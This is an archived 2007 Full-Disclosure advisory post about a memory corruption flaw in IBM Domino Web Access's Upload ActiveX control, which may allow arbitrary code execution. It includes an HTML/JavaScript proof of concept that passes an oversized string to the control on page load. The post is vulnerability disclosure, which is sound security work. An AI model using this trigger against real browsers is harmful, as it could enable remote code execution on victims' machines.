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[Full-disclosure] IBM Domino Web Access Upload Control dwa7w.dll Memory Corruption

From: Elazar Broad (elazarbearthlink.net)
Date: Thu Dec 20 2007 - 12:27:00 CST

The Domino Web Access Upload Module version 7.0.34.1 seems to suffer from a memory corruption issue that may allow the execution of arbitrary code. By setting the General_ServerName property and calling the InstallBrowserHelperDll() function it MAY be possible to control the ECX register and thereby control the EIP. PoC as follows:

-------------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
     var s = 'A';

    while (s.length <= 12000) s = s + 'A';

    obj.General_ServerName = s;
    obj.InstallBrowserHelperDll();
  
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B" />
</object>
</body>
</html>
-------------------

Elazar

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